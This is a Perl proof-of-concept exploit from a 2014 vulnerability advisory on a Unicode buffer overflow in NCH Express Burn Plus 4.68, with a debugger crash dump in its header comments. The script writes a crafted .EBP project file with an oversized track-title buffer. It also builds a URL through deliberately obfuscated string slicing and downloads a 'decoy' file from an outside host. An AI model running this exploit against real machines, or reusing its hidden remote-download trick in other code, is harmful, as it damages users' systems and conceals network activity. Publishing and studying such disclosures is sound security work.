#!/usr/local/bin/perl
#
#
# NCH Software Express Burn Plus 4.68 EBP Project File Handling Buffer Overflow PoC
#
#
# Vendor: NCH Software
# Product web page: http://www.nchsoftware.com
# Affected version: 4.68
#
# Summary: Express Burn is a program that allows you to create and copy many
# kinds of disc media, including Audio (audio CDs / .mp3 CDs), Video (DVDs),
# and Data (CDs / DVDs / Blu-ray).
#
# Desc: The vulnerability is caused due to a boundary error in the processing
# of a project file, which can be exploited to cause a unicode buffer overflow
# when a user opens e.g. a specially crafted .EBP file. Successful exploitation
# could allow execution of arbitrary code on the affected machine.
#
#
# ===========================================================================
#
# (1144.1488): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# *** ERROR: Module load completed but symbols could not be loaded for C:\Program Files (x86)\NCH Software\ExpressBurn\expressburn.exe
# eax=03418568 ebx=004034ec ecx=00000041 edx=00011a98 esi=03429428 edi=001893df
# eip=004679ef esp=00185f18 ebp=00187254 iopl=0 nv up ei pl nz na pe nc
# cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
# expressburn+0x679ef:
# 004679ef 66890c02 mov word ptr [edx+eax],cx ds:002b:0342a000=????
# 0:000> d eax
# 03418568 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
# 03418578 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
# 03418588 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
# 03418598 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
# 034185a8 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
# 034185b8 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
# 034185c8 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
# 034185d8 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
#
# ===========================================================================
#
#
# Tested on: Microsoft Windows 7 Professional SP1 EN
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# Zero Science Lab - http://www.zeroscience.mk
#
#
# Advisory ID: ZSL-2014-5166
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5166.php
#
#
# 20.01.2014
#
use Cwd;
use LWP::Simple;
print "\n
#=---===---===---===---===---===---===---===---=#
| |
| Proof Of Concept script for |
| |
| NCH Software Express Burn Plus v4.68 |
| |
| |
| ID: ZSL-2014-5166 |
| |
| --- |
| |
| Copyleft (c) 2014 |
| |
| Zero Science Lab - http://www.zeroscience.mk |
| |
#=---===---===---===---===---===---===---===---=#
\n";
$file = "Exploit2.EBP";
$zoom = substr(")aZh4/",3,1).substr("^7ttr",2,2).substr("p>eErZ",0,1).
substr("7U:/.9",2,2).substr("v/!+T",1,1).substr("oL4z55",3,1).
substr("erY3%",0,2).substr("8oscW1",1,3).substr("iLien@",2,3).
substr("*hJ2ce",4,2).substr("6.#h1A",1,1).substr("mk-((",0,2).
substr(">/cZo",1,2).substr("[Mood]4",3,2).substr("lesS?",1,2).
substr("a*\@J/b",4,2).substr("lue8X",0,3).substr("fish6",0,4).
substr(",,8Y.b",4,1).substr("GrUmp!",3,2).substr("1337:",2,1);
print "\n\n\x20\x20\x1A Creating malicious project file...\n\n";
$decoy = "440Hz.mp3";
getstore($zoom, $decoy);
print "\x20\x20\x1A Throwing decoy file: $decoy...\n";
$buffer = "\x41\x41\x41\x41" x (15000/2);
$dir = getcwd;
$dir =~ s/\//\\/g;
$load = "<?xml version=\"1.0\"?>\<ExpressBurnProject type=\"0\"><Alb".
"umTitle/><TrackList><Audiotrack file=\"$dir\\$decoy\" title".
"=\"$buffer\" artist=\"Salvador\"/></TrackList>\r</ExpressBu".
"rnProject>\r";
open fp, ">./$file" || die "\n[-] Can't open $file: $!\n\n";
print fp $load; close fp;
print "\n\x20\x20\x19 File created successfully: $file ";
$file = -s $file; print "($file bytes)\n\n\n";
